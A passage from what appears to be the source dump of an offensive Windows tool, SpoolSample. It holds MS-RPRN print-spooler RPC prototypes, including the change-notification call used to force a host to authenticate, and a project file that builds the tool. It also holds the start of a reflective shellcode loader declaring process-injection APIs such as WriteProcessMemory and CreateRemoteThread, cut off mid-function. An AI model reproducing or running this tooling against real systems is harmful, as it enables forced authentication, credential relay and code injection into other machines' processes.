94 | /* [out] */ PRINTER_HANDLE *pHandle,
95 | /* [unique][string][in] */ wchar_t *pDatatype,
96 | /* [in] */ DEVMODE_CONTAINER *pDevModeContainer,
97 | /* [in] */ DWORD AccessRequired);
98 |
99 | DWORD RpcSetJob(
100 | /* [in] */ handle_t IDL_handle);
101 |
102 | DWORD RpcGetJob(
103 | /* [in] */ handle_t IDL_handle);
104 |
105 | DWORD RpcEnumJobs(
106 | /* [in] */ handle_t IDL_handle);
107 |
108 | DWORD RpcAddPrinter(
109 | /* [in] */ handle_t IDL_handle);
110 |
111 | DWORD RpcDeletePrinter(
112 | /* [in] */ handle_t IDL_handle);
113 |
114 | DWORD RpcSetPrinter(
115 | /* [in] */ handle_t IDL_handle);
116 |
117 | DWORD RpcGetPrinter(
118 | /* [in] */ handle_t IDL_handle);
119 |
120 | DWORD RpcAddPrinterDriver(
121 | /* [in] */ handle_t IDL_handle);
122 |
123 | DWORD RpcEnumPrinterDrivers(
124 | /* [in] */ handle_t IDL_handle);
125 |
126 | DWORD RpcGetPrinterDriver(
127 | /* [in] */ handle_t IDL_handle);
128 |
129 | DWORD RpcGetPrinterDriverDirectory(
130 | /* [in] */ handle_t IDL_handle);
131 |
132 | DWORD RpcDeletePrinterDriver(
133 | /* [in] */ handle_t IDL_handle);
134 |
135 | DWORD RpcAddPrintProcessor(
136 | /* [in] */ handle_t IDL_handle);
137 |
138 | DWORD RpcEnumPrintProcessors(
139 | /* [in] */ handle_t IDL_handle);
140 |
141 | DWORD RpcGetPrintProcessorDirectory(
142 | /* [in] */ handle_t IDL_handle);
143 |
144 | DWORD RpcStartDocPrinter(
145 | /* [in] */ handle_t IDL_handle);
146 |
147 | DWORD RpcStartPagePrinter(
148 | /* [in] */ handle_t IDL_handle);
149 |
150 | DWORD RpcWritePrinter(
151 | /* [in] */ handle_t IDL_handle);
152 |
153 | DWORD RpcEndPagePrinter(
154 | /* [in] */ handle_t IDL_handle);
155 |
156 | DWORD RpcAbortPrinter(
157 | /* [in] */ handle_t IDL_handle);
158 |
159 | DWORD RpcReadPrinter(
160 | /* [in] */ handle_t IDL_handle);
161 |
162 | DWORD RpcEndDocPrinter(
163 | /* [in] */ handle_t IDL_handle);
164 |
165 | DWORD RpcAddJob(
166 | /* [in] */ handle_t IDL_handle);
167 |
168 | DWORD RpcScheduleJob(
169 | /* [in] */ handle_t IDL_handle);
170 |
171 | DWORD RpcGetPrinterData(
172 | /* [in] */ handle_t IDL_handle);
173 |
174 | DWORD RpcSetPrinterData(
175 | /* [in] */ handle_t IDL_handle);
176 |
177 | DWORD RpcWaitForPrinterChange(
178 | /* [in] */ handle_t IDL_handle);
179 |
180 | DWORD RpcClosePrinter(
181 | /* [out][in] */ PRINTER_HANDLE *phPrinter);
182 |
183 | DWORD RpcAddForm(
184 | /* [in] */ handle_t IDL_handle);
185 |
186 | DWORD RpcDeleteForm(
187 | /* [in] */ handle_t IDL_handle);
188 |
189 | DWORD RpcGetForm(
190 | /* [in] */ handle_t IDL_handle);
191 |
192 | DWORD RpcSetForm(
193 | /* [in] */ handle_t IDL_handle);
194 |
195 | DWORD RpcEnumForms(
196 | /* [in] */ handle_t IDL_handle);
197 |
198 | DWORD RpcEnumPorts(
199 | /* [in] */ handle_t IDL_handle);
200 |
201 | DWORD RpcEnumMonitors(
202 | /* [in] */ handle_t IDL_handle);
203 |
204 | void Opnum37NotUsedOnWire(
205 | /* [in] */ handle_t IDL_handle);
206 |
207 | void Opnum38NotUsedOnWire(
208 | /* [in] */ handle_t IDL_handle);
209 |
210 | DWORD RpcDeletePort(
211 | /* [in] */ handle_t IDL_handle);
212 |
213 | DWORD RpcCreatePrinterIC(
214 | /* [in] */ handle_t IDL_handle);
215 |
216 | DWORD RpcPlayGdiScriptOnPrinterIC(
217 | /* [in] */ handle_t IDL_handle);
218 |
219 | DWORD RpcDeletePrinterIC(
220 | /* [in] */ handle_t IDL_handle);
221 |
222 | void Opnum43NotUsedOnWire(
223 | /* [in] */ handle_t IDL_handle);
224 |
225 | void Opnum44NotUsedOnWire(
226 | /* [in] */ handle_t IDL_handle);
227 |
228 | void Opnum45NotUsedOnWire(
229 | /* [in] */ handle_t IDL_handle);
230 |
231 | DWORD RpcAddMonitor(
232 | /* [in] */ handle_t IDL_handle);
233 |
234 | DWORD RpcDeleteMonitor(
235 | /* [in] */ handle_t IDL_handle);
236 |
237 | DWORD RpcDeletePrintProcessor(
238 | /* [in] */ handle_t IDL_handle);
239 |
240 | void Opnum49NotUsedOnWire(
241 | /* [in] */ handle_t IDL_handle);
242 |
243 | void Opnum50NotUsedOnWire(
244 | /* [in] */ handle_t IDL_handle);
245 |
246 | DWORD RpcEnumPrintProcessorDatatypes(
247 | /* [in] */ handle_t IDL_handle);
248 |
249 | DWORD RpcResetPrinter(
250 | /* [in] */ handle_t IDL_handle);
251 |
252 | DWORD RpcGetPrinterDriver2(
253 | /* [in] */ handle_t IDL_handle);
254 |
255 | void Opnum54NotUsedOnWire(
256 | /* [in] */ handle_t IDL_handle);
257 |
258 | void Opnum55NotUsedOnWire(
259 | /* [in] */ handle_t IDL_handle);
260 |
261 | DWORD RpcFindClosePrinterChangeNotification(
262 | /* [in] */ handle_t IDL_handle);
263 |
264 | void Opnum57NotUsedOnWire(
265 | /* [in] */ handle_t IDL_handle);
266 |
267 | DWORD RpcReplyOpenPrinter(
268 | /* [in] */ handle_t IDL_handle);
269 |
270 | DWORD RpcRouterReplyPrinter(
271 | /* [in] */ handle_t IDL_handle);
272 |
273 | DWORD RpcReplyClosePrinter(
274 | /* [in] */ handle_t IDL_handle);
275 |
276 | DWORD RpcAddPortEx(
277 | /* [in] */ handle_t IDL_handle);
278 |
279 | DWORD RpcRemoteFindFirstPrinterChangeNotification(
280 | /* [in] */ handle_t IDL_handle);
281 |
282 | void Opnum63NotUsedOnWire(
283 | /* [in] */ handle_t IDL_handle);
284 |
285 | void Opnum64NotUsedOnWire(
286 | /* [in] */ handle_t IDL_handle);
287 |
288 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
289 | /* [in] */ PRINTER_HANDLE hPrinter,
290 | /* [in] */ DWORD fdwFlags,
291 | /* [in] */ DWORD fdwOptions,
292 | /* [unique][string][in] */ wchar_t *pszLocalMachine,
293 | /* [in] */ DWORD dwPrinterLocal,
294 | /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions);
295 |
296 |
297 |
298 | extern RPC_IF_HANDLE winspool_v1_0_c_ifspec;
299 | extern RPC_IF_HANDLE winspool_v1_0_s_ifspec;
300 | #endif /* __winspool_INTERFACE_DEFINED__ */
301 |
302 | /* Additional Prototypes for ALL interfaces */
303 |
304 | handle_t __RPC_USER STRING_HANDLE_bind ( STRING_HANDLE );
305 | void __RPC_USER STRING_HANDLE_unbind( STRING_HANDLE, handle_t );
306 |
307 | void __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE );
308 |
309 | /* end of Additional Prototypes */
310 |
311 | #ifdef __cplusplus
312 | }
313 | #endif
314 |
315 | #endif
316 |
317 |
318 |
--------------------------------------------------------------------------------
/MS-RPRN/MS-RPRN.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}
24 | Win32Proj
25 | MSRPRN
26 | 10.0.17134.0
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | v141
33 | Unicode
34 |
35 |
36 | DynamicLibrary
37 | false
38 | v141
39 | true
40 | Unicode
41 |
42 |
43 | DynamicLibrary
44 | true
45 | v141
46 | Unicode
47 |
48 |
49 | DynamicLibrary
50 | false
51 | v141
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Use
88 | Level3
89 | Disabled
90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_
91 | Neither
92 |
93 |
94 | Console
95 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib;
96 |
97 |
98 |
99 |
100 | Use
101 | Level3
102 | Disabled
103 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_
104 | Neither
105 |
106 |
107 | Console
108 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib;
109 |
110 |
111 |
112 |
113 | Level3
114 | Use
115 | MinSpace
116 | true
117 | true
118 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_
119 | MultiThreaded
120 | Size
121 |
122 |
123 | Console
124 | true
125 | true
126 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib;
127 |
128 |
129 |
130 |
131 | Level3
132 | Use
133 | MinSpace
134 | true
135 | true
136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions); _WINSPOOL_
137 | MultiThreaded
138 | Size
139 |
140 |
141 | Console
142 | true
143 | true
144 | kernel32.lib;user32.lib;gdi32.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);Rpcrt4.lib;
145 |
146 |
147 | powershell.exe -File "$(SolutionDir)\Out-CSharpDataClass.ps1" -Target "$(TargetPath)" -SolutionDir "$(SolutionDir)"
148 |
149 |
150 | (Post Build) Generating Data.cs for the SpoolSample project
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 | NotUsing
165 | NotUsing
166 | NotUsing
167 | NotUsing
168 |
169 |
170 | Create
171 | Create
172 | Create
173 | Create
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
--------------------------------------------------------------------------------
/SpoolSample/RDIShellcodeLoader.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 | using System.Reflection;
5 |
6 | namespace RDI
7 | {
8 | static class Native
9 | {
10 | [Flags]
11 | public enum ProcessAccessFlags : uint
12 | {
13 | Terminate = 0x00000001,
14 | CreateThread = 0x00000002,
15 | VMOperation = 0x00000008,
16 | VMRead = 0x00000010,
17 | VMWrite = 0x00000020,
18 | DupHandle = 0x00000040,
19 | SetInformation = 0x00000200,
20 | QueryInformation = 0x00000400,
21 | Synchronize = 0x00100000,
22 | All = 0x001F0FFF
23 | }
24 |
25 | [DllImport("kernel32.dll")]
26 | public static extern IntPtr LoadLibrary(string dllToLoad);
27 |
28 | [DllImport("kernel32.dll")]
29 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect);
30 |
31 | [DllImport("kernel32.dll")]
32 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);
33 |
34 | [DllImport("msvcrt.dll")]
35 | public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UIntPtr count);
36 |
37 | [DllImport("msvcrt.dll")]
38 | public static extern IntPtr memset(IntPtr dest, Int32 character, IntPtr count);
39 |
40 | [DllImport("kernel32.dll")]
41 | public static extern IntPtr GetProcAddress(IntPtr hModule, String procName);
42 |
43 | [DllImport("kernel32.dll")]
44 | public static extern Boolean VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, UInt32 dwFreeType);
45 |
46 | [DllImport("kernel32.dll")]
47 | public static extern Boolean VirtualFree(IntPtr lpAddress, UIntPtr dwSize, UInt32 dwFreeType);
48 |
49 | [DllImport("kernel32.dll")]
50 | public static extern Boolean VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
51 |
52 | [DllImport("kernel32.dll")]
53 | public static extern Boolean FreeLibrary(IntPtr hModule);
54 |
55 | [DllImport("kernel32.dll")]
56 | public static extern UInt32 WaitForSingleObject(IntPtr hModule, UInt32 timeout);
57 |
58 | [DllImport("kernel32.dll")]
59 | public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
60 |
61 | [DllImport("kernel32.dll")]
62 | public static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);
63 |
64 | [DllImport("kernel32.dll")]
65 | public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, out IntPtr lpThreadID);
66 |
67 | [DllImport("kernel32.dll")]
68 | public static extern Boolean GetExitCodeThread(IntPtr hThread, Int32 exitCode);
69 |
70 | [DllImport("kernel32.dll")]
71 | public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, out IntPtr TokenHandle);
72 |
73 | [DllImport("kernel32.dll")]
74 | public static extern IntPtr GetCurrentThread();
75 |
76 | [DllImport("kernel32.dll")]
77 | public static extern Boolean CloseHandle(IntPtr handle);
78 |
79 | [DllImport("kernel32.dll")]
80 | public static extern IntPtr GetCurrentProcess();
81 |
82 | [DllImport("kernel32.dll")]
83 | public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
84 |
85 | [DllImport("kernel32.dll")]
86 | public static extern UInt32 NtCreateThreadEx(out IntPtr hThread, UInt32 DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, Boolean CreateSuspended, UInt32 StackZeroBits, UInt32 SizeOfStackCommit, UInt32 SizeOfStackReserve, IntPtr lpBytesBuffer);
87 |
88 | [DllImport("kernel32.dll")]
89 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, IntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, out UInt32 lpThreadID);
90 |
91 | [DllImport("kernel32.dll")]
92 | public static extern Boolean AdjustTokenPrivileges(IntPtr TokenHandle, Boolean DisableAllPrivileges, IntPtr NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
93 |
94 | [DllImport("kernel32.dll")]
95 | public static extern Boolean IsWow64Process(Int32 hProcess);
96 |
97 | public const UInt64 MEM_COMMIT = 0x00001000;
98 | public const UInt64 MEM_RESERVE = 0x00002000;
99 | public const ushort PAGE_NOACCESS = 0x01;
100 | public const ushort PAGE_READONLY = 0x02;
101 | public const ushort PAGE_READWRITE = 0x04;
102 | public const ushort PAGE_WRITECOPY = 0x08;
103 | public const ushort PAGE_EXECUTE = 0x10;
104 | public const ushort PAGE_EXECUTE_READ = 0x20;
105 | public const ushort PAGE_EXECUTE_READWRITE = 0x40;
106 | public const ushort PAGE_EXECUTE_WRITECOPY = 0x80;
107 | public const UInt32 PAGE_NOCACHE = 0x200;
108 | public const UInt64 IMAGE_SCN_MEM_DISCARDABLE = 0x02000000;
109 | public const UInt64 IMAGE_SCN_MEM_EXECUTE = 0x20000000;
110 | public const UInt64 IMAGE_SCN_MEM_READ = 0x40000000;
111 | public const UInt64 IMAGE_SCN_MEM_WRITE = 0x80000000;
112 | public const UInt64 IMAGE_SCN_MEM_NOT_CACHED = 0x04000000;
113 | public const UInt32 MEM_DECOMMIT = 0x4000;
114 | public const UInt32 IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
115 | public const UInt32 IMAGE_FILE_DLL = 0x2000;
116 | public const ushort IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x40;
117 | public const UInt32 IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x100;
118 | public const UInt32 MEM_RELEASE = 0x8000;
119 | public const UInt32 TOKEN_QUERY = 0x0008;
120 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
121 | public const ushort SE_PRIVILEGE_ENABLED = 0x2;
122 | public const UInt32 ERROR_NO_TOKEN = 0x3f0;
123 | }
124 |
125 | public class PE
126 | {
127 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
128 | struct IMAGE_DATA_DIRECTORY
129 | {
130 | public uint VirtualAddress;
131 | public uint Size;
132 | }
133 |
134 | //[StructLayout(LayoutKind.Sequential, Pack = 1)]
135 | [StructLayout(LayoutKind.Explicit)]
136 | unsafe struct IMAGE_SECTION_HEADER
137 | {
138 | [FieldOffset(0)]
139 | public fixed byte Name[8];
140 | [FieldOffset(8)]
141 | public uint PhysicalAddress;
142 | [FieldOffset(8)]
143 | public uint VirtualSize;
144 | [FieldOffset(12)]
145 | public uint VirtualAddress;
146 | [FieldOffset(16)]
147 | public uint SizeOfRawData;
148 | [FieldOffset(20)]
149 | public uint PointerToRawData;
150 | [FieldOffset(24)]
151 | public uint PointerToRelocations;
152 | [FieldOffset(28)]
153 | public uint PointerToLinenumbers;
154 | [FieldOffset(32)]
155 | public ushort NumberOfRelocations;
156 | [FieldOffset(34)]
157 | public ushort NumberOfLinenumbers;
158 | [FieldOffset(36)]
159 | public uint Characteristics;
160 | }
161 |
162 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
163 | struct IMAGE_FILE_HEADER
164 | {
165 | public ushort Machine;
166 | public ushort NumberOfSections;
167 | public uint TimeDateStamp;
168 | public uint PointerToSymbolTable;
169 | public uint NumberOfSymbols;
170 | public ushort SizeOfOptionalHeader;
171 | public ushort Characteristics;
172 | }
173 |
174 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
175 | struct IMAGE_EXPORT_DIRECTORY
176 | {
177 | public uint Characteristics;
178 | public uint TimeDateStamp;
179 | public ushort MajorVersion;
180 | public ushort MinorVersion;
181 | public uint Name;
182 | public uint Base;
183 | public uint NumberOfFunctions;
184 | public uint NumberOfNames;
185 | public uint AddressOfFunctions; // RVA from base of image
186 | public uint AddressOfNames; // RVA from base of image
187 | public uint AddressOfNameOrdinals; // RVA from base of image
188 | }
189 |
190 | enum IMAGE_DOS_SIGNATURE : ushort
191 | {
192 | DOS_SIGNATURE = 0x5A4D, // MZ
193 | OS2_SIGNATURE = 0x454E, // NE
194 | OS2_SIGNATURE_LE = 0x454C, // LE
195 | }
196 |
197 | enum MagicType : ushort
198 | {
199 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
200 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b,
201 | }
202 |
203 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
204 | struct IMAGE_DOS_HEADER
205 | {
206 | public IMAGE_DOS_SIGNATURE e_magic; // Magic number
207 | public ushort e_cblp; // public bytes on last page of file
208 | public ushort e_cp; // Pages in file
209 | public ushort e_crlc; // Relocations
210 | public ushort e_cparhdr; // Size of header in paragraphs
211 | public ushort e_minalloc; // Minimum extra paragraphs needed
212 | public ushort e_maxalloc; // Maximum extra paragraphs needed
213 | public ushort e_ss; // Initial (relative) SS value
214 | public ushort e_sp; // Initial SP value
215 | public ushort e_csum; // Checksum
216 | public ushort e_ip; // Initial IP value
217 | public ushort e_cs; // Initial (relative) CS value
218 | public ushort e_lfarlc; // File address of relocation table
219 | public ushort e_ovno; // Overlay number
220 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
221 | public string e_res; // May contain 'Detours!'
222 | public ushort e_oemid; // OEM identifier (for e_oeminfo)
223 | public ushort e_oeminfo; // OEM information; e_oemid specific
224 | [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst = 10)]
225 | public ushort[] e_res2; // Reserved public ushorts
226 | public Int32 e_lfanew; // File address of new exe header
227 | }
228 |
229 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
230 | struct IMAGE_OPTIONAL_HEADER
231 | {
232 | //
233 | // Standard fields.
234 | //
235 |
236 | public MagicType Magic;
237 | public byte MajorLinkerVersion;
238 | public byte MinorLinkerVersion;
239 | public uint SizeOfCode;
240 | public uint SizeOfInitializedData;
241 | public uint SizeOfUninitializedData;
242 | public uint AddressOfEntryPoint;
243 | public uint BaseOfCode;
244 | public uint BaseOfData;
245 | public uint ImageBase;
246 | public uint SectionAlignment;
247 | public uint FileAlignment;
248 | public ushort MajorOperatingSystemVersion;
249 | public ushort MinorOperatingSystemVersion;
250 | public ushort MajorImageVersion;
251 | public ushort MinorImageVersion;
252 | public ushort MajorSubsystemVersion;
253 | public ushort MinorSubsystemVersion;
254 | public uint Win32VersionValue;
255 | public uint SizeOfImage;
256 | public uint SizeOfHeaders;
257 | public uint CheckSum;
258 | public ushort Subsystem;
259 | public ushort DllCharacteristics;
260 | public uint SizeOfStackReserve;
261 | public uint SizeOfStackCommit;
262 | public uint SizeOfHeapReserve;
263 | public uint SizeOfHeapCommit;
264 | public uint LoaderFlags;
265 | public uint NumberOfRvaAndSizes;
266 | public IMAGE_DATA_DIRECTORY ExportTable;
267 | public IMAGE_DATA_DIRECTORY ImportTable;
268 | public IMAGE_DATA_DIRECTORY ResourceTable;
269 | public IMAGE_DATA_DIRECTORY ExceptionTable;
270 | public IMAGE_DATA_DIRECTORY CertificateTable;
271 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
272 | public IMAGE_DATA_DIRECTORY Debug;
273 | public IMAGE_DATA_DIRECTORY Architecture;
274 | public IMAGE_DATA_DIRECTORY GlobalPtr;
275 | public IMAGE_DATA_DIRECTORY TLSTable;
276 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
277 | public IMAGE_DATA_DIRECTORY BoundImport;
278 | public IMAGE_DATA_DIRECTORY IAT;
279 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
280 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
281 | public IMAGE_DATA_DIRECTORY Public;
282 | }
283 |
284 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
285 | struct IMAGE_OPTIONAL_HEADER64
286 | {
287 | public MagicType Magic;
288 | public byte MajorLinkerVersion;
289 | public byte MinorLinkerVersion;
290 | public uint SizeOfCode;
291 | public uint SizeOfInitializedData;
292 | public uint SizeOfUninitializedData;
293 | public uint AddressOfEntryPoint;
294 | public uint BaseOfCode;
295 | public ulong ImageBase;
296 | public uint SectionAlignment;
297 | public uint FileAlignment;
298 | public ushort MajorOperatingSystemVersion;
299 | public ushort MinorOperatingSystemVersion;
300 | public ushort MajorImageVersion;
301 | public ushort MinorImageVersion;
302 | public ushort MajorSubsystemVersion;
303 | public ushort MinorSubsystemVersion;
304 | public uint Win32VersionValue;
305 | public uint SizeOfImage;
306 | public uint SizeOfHeaders;
307 | public uint CheckSum;
308 | public ushort Subsystem;
309 | public ushort DllCharacteristics;
310 | public ulong SizeOfStackReserve;
311 | public ulong SizeOfStackCommit;
312 | public ulong SizeOfHeapReserve;
313 | public ulong SizeOfHeapCommit;
314 | public uint LoaderFlags;
315 | public uint NumberOfRvaAndSizes;
316 | public IMAGE_DATA_DIRECTORY ExportTable;
317 | public IMAGE_DATA_DIRECTORY ImportTable;
318 | public IMAGE_DATA_DIRECTORY ResourceTable;
319 | public IMAGE_DATA_DIRECTORY ExceptionTable;
320 | public IMAGE_DATA_DIRECTORY CertificateTable;
321 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
322 | public IMAGE_DATA_DIRECTORY Debug;
323 | public IMAGE_DATA_DIRECTORY Architecture;
324 | public IMAGE_DATA_DIRECTORY GlobalPtr;
325 | public IMAGE_DATA_DIRECTORY TLSTable;
326 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
327 | public IMAGE_DATA_DIRECTORY BoundImport;
328 | public IMAGE_DATA_DIRECTORY IAT;
329 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
330 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
331 | public IMAGE_DATA_DIRECTORY Public;
332 | }
333 |
334 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
335 | struct IMAGE_NT_HEADERS64
336 | {
337 | public uint Signature;
338 | public IMAGE_FILE_HEADER FileHeader;
339 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
340 | }
341 |
342 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
343 | struct IMAGE_NT_HEADERS
344 | {
345 | public uint Signature;
346 | public IMAGE_FILE_HEADER FileHeader;
347 | public IMAGE_OPTIONAL_HEADER OptionalHeader;
348 | }
349 |
350 | public static unsafe class InteropTools
351 | {
352 | private static readonly Type SafeBufferType = typeof(SafeBuffer);
353 | public delegate void PtrToStructureNativeDelegate(byte* ptr, TypedReference structure, uint sizeofT);
354 | public delegate void StructureToPtrNativeDelegate(TypedReference structure, byte* ptr, uint sizeofT);
355 | const BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
356 | private static readonly MethodInfo PtrToStructureNativeMethod = SafeBufferType.GetMethod("PtrToStructureNative", flags);
357 | private static readonly MethodInfo StructureToPtrNativeMethod = SafeBufferType.GetMethod("StructureToPtrNative", flags);
358 | public static readonly PtrToStructureNativeDelegate PtrToStructureNative = (PtrToStructureNativeDelegate)Delegate.CreateDelegate(typeof(PtrToStructureNativeDelegate), PtrToStructureNativeMethod);
359 | public static readonly StructureToPtrNativeDelegate StructureToPtrNative = (StructureToPtrNativeDelegate)Delegate.CreateDelegate(typeof(StructureToPtrNativeDelegate), StructureToPtrNativeMethod);
360 |
361 | private static readonly Func SizeOfHelper_f = (Func)Delegate.CreateDelegate(typeof(Func), typeof(Marshal).GetMethod("SizeOfHelper", flags));
362 |
363 | public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr, int size)
364 | {
365 | StructureToPtrNative(structure, (byte*)ptr, unchecked((uint)size));
366 | }
367 |
368 | public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr)
369 | {
370 | StructureToPtrDirect(structure, ptr, SizeOf(__reftype(structure)));
371 | }
372 |
373 | public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure, int size)
374 | {
375 | PtrToStructureNative((byte*)ptr, structure, unchecked((uint)size));
376 | }
377 |
378 | public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure)
379 | {
380 | PtrToStructureDirect(ptr, structure, SizeOf(__reftype(structure)));
381 | }
382 |
383 | public static void StructureToPtr(ref T structure, IntPtr ptr)
384 | {
385 | StructureToPtrDirect(__makeref(structure), ptr);
386 | }
387 |
388 | public static void PtrToStructure(IntPtr ptr, out T structure)
389 | {
390 | structure = default(T);
391 | PtrToStructureDirect(ptr, __makeref(structure));
392 | }
393 |
394 | public static T PtrToStructure(IntPtr ptr)
395 | {
396 | T obj;
397 | PtrToStructure(ptr, out obj);
398 | return obj;
399 | }
400 |
401 | public static int SizeOf(T structure)
402 | {
403 | return SizeOf();
404 | }
405 |
406 | public static int SizeOf()
407 | {
408 | return SizeOf(typeof(T));
409 | }
410 |
411 | public static int SizeOf(Type t)
412 | {
413 | return SizeOfHelper_f(t, true);
414 | }
415 | }
416 |
417 | public static IntPtr Rva2Offset(uint dwRva, IntPtr PEPointer)
418 | {
419 | bool is64Bit = false;
420 | ushort wIndex = 0;
421 | ushort wNumberOfSections = 0;
422 | IntPtr imageSectionPtr;
423 | IMAGE_SECTION_HEADER SectionHeader;
424 | int sizeOfSectionHeader = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
425 |
426 | IMAGE_DOS_HEADER dosHeader = InteropTools.PtrToStructure(PEPointer);
427 |
428 | IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew);
429 |
430 | var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));
431 | var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));
432 |
433 | if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;
434 |
435 |
436 | if (is64Bit)
437 | {
438 | imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader") + (Int64)imageNtHeaders64.FileHeader.SizeOfOptionalHeader));
439 | SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER));
440 | wNumberOfSections = imageNtHeaders64.FileHeader.NumberOfSections;
441 | }
442 | else
443 | {
444 | imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader") + (Int64)imageNtHeaders32.FileHeader.SizeOfOptionalHeader));
445 | SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER));
446 | wNumberOfSections = imageNtHeaders32.FileHeader.NumberOfSections;
447 | }
448 |
